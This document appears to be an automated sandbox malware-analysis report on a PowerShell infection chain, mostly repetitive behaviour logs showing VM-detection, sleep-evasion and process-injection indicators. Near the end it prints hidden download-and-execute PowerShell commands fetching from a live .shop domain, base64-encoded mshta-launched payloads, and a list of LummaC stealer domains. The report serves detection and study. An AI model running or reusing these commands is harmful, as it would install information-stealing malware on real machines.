Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5329	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4397	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1418	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 581	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2253	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 842	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4376	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5327	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6600	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6600	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5708	Thread sleep count: 1418 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5708	Thread sleep count: 581 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5632	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1128	Thread sleep count: 2253 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6392	Thread sleep count: 842 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1016	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5480	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7292	Thread sleep time: -23058430092136925s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8128	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000007.00000002.2201297763.0000000003312000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\l
Source: powershell.exe, 00000007.00000002.2211650458.0000000007996000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}D
Source: powershell.exe, 0000000E.00000002.3438118078.0000000003326000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: powershell.exe, 0000000E.00000002.3438118078.0000000003326000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3438118078.00000000032EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000007.00000002.2201297763.0000000003312000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}5
Source: powershell.exe, 00000008.00000002.3189944178.00000000070A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 14_2_004402C0 LdrInitializeThunk,

14_2_004402C0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi32_5776.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_5936.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5936, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))"

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ArgumentList "-w hidden -ep bypass -nop -Command `"iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))`"" -WindowStyle Hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ArgumentList "-w hidden -ep bypass -nop -Command `"iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))`"" -WindowStyle Hidden
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ArgumentList "-w hidden -ep bypass -nop -Command `"iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))`"" -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ArgumentList "-w hidden -ep bypass -nop -Command `"iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))`"" -WindowStyle Hidden	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: powershell.exe	String found in binary or memory: robinsharez.shop
Source: powershell.exe	String found in binary or memory: handscreamny.shop
Source: powershell.exe	String found in binary or memory: chipdonkeruz.shop
Source: powershell.exe	String found in binary or memory: versersleep.shop
Source: powershell.exe	String found in binary or memory: crowdwarek.shop
Source: powershell.exe	String found in binary or memory: apporholis.shop
Source: powershell.exe	String found in binary or memory: femalsabler.shop
Source: powershell.exe	String found in binary or memory: soundtappysk.shop
Source: powershell.exe	String found in binary or memory: hoppricerwir.cyou

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWN3QTNBQzRBYXdCc0FHa0FjQUJrQUhrQWR3QnZBSG9BYVFCNUFDNEFjd0JvQUc4QWNBQXZBR2dBZFFCckFHc0FOd0F1QUdvQWNBQmxBR2NBSndBcEFDa0FZQUFpQUNJQUlBQXRBRmNBYVFCdUFHUUFid0IzQUZNQWRBQjVBR3dBWlFBZ0FFZ0FhUUJrQUdRQVpRQnVBQT09Oy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBKRnhLeW5paigpe2Z1bmN0aW9uIHZvck9jKCRlUFNySlpLKXtpZighKFRlc3QtUGF0aCAtUGF0aCAkSW5MKSl7Y3VybCAoU0xxICRlUFNySlpLKSAtbyAkSW5MfX19SkZ4S3luaWo7')))	Jump to behavior
